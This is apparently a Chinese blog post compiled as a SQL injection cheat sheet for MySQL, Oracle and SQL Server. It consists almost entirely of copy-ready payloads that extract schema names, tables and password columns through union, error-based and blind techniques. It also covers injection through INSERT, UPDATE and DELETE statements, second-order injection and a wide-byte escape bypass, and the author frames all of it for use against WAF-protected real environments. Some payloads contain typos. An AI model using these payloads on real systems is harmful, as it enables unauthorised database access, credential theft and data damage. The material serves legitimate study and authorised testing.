虽说目前互联网上已经有很多关于 sql 注入的神器了,但是在这个 WAF 横行的时代,手工注入往往在一些真实环境中会显得尤为重要。本文主要把以前学过的知识做个总结,不会有详细的知识解读,类似于查询手册的形式,便于以后的复习与查阅,文中内容可能会存在错误,望师傅们斧正!
0x01 Mysql 手工注入
1.1 联合注入
?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+
1.2 报错注入
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
每个一个报错语句都有它的原理:
exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。
updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:
substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +
1.3 盲注
1.3.1 时间盲注
时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)
一般时间盲注我们还需要使用条件判断函数
#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3
#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left
我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
1.3.2 布尔盲注
?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
1.4 insert,delete,update
insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入
1.4.1 报错
mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id | username | password |
+------+-----------------------------------------------+----------+
| 1 | admin | admin |
| 1 | and 1=1 | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)
mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
1.4.2 盲注
#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)
mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)
#字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)
# delete 函数 or 右边一定要为 false
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)
#update 更新数据内容
mysql> select * from admin;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | admin | admin |
+------+----------+----------+
4 rows in set (0.00 sec)
mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4 Changed: 4 Warnings: 0
1.5 二次注入与宽字节注入
二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。
mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+----+-----------+-------+
| id | name | pass |
+----+-----------+-------+
| 1 | admin | admin |
| 2 | admin'111 | 11111 |
| 3 | admin'--+ | 11 |
+----+-----------+-------+
4 rows in set (0.00 sec)
二次注入在没有源码的情况比较难发现,通常见于注册,登录恶意账户后,数据库可能会因为恶意账户名的问题,将 admin'--+ 误认为 admin 账户
宽字节注入:针对目标做了一定的防护,单引号转变为 \'
, mysql 会将 \
编码为 %5c
,宽字节中两个字节代表一个汉字,所以把 %df
加上 %5c
就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入
id=-1%df' union select...
#没使用宽字节
%27 -> %5C%27
#使用宽字节
%df%27 -> %df%5c%27 -> 運'
0x02 Oracle 手工注入
2.1 联合注入
?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--
2.2 报错注入
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
2.3 盲注
2.3.1 布尔盲注
既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值);
该函数的含义如下:
IF 条件=值1 THEN
RETURN(返回值1)
ELSIF 条件=值2 THEN
RETURN(返回值2)
......
ELSIF 条件=值n THEN
RETURN(返回值n)
ELSE
RETURN(缺省值)
END IF
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64-- #二分法
2.3.2 时间盲注
可使用DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)函数进行时间盲注,这个函数可以指定延迟的时间
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
0x03 SQL server 手工注入
3.1 联合注入
?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--
3.2 报错注入
?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--
3.3 盲注
3.3.1 布尔盲注
?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--
3.3.2 时间盲注
?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay '0:0:2'--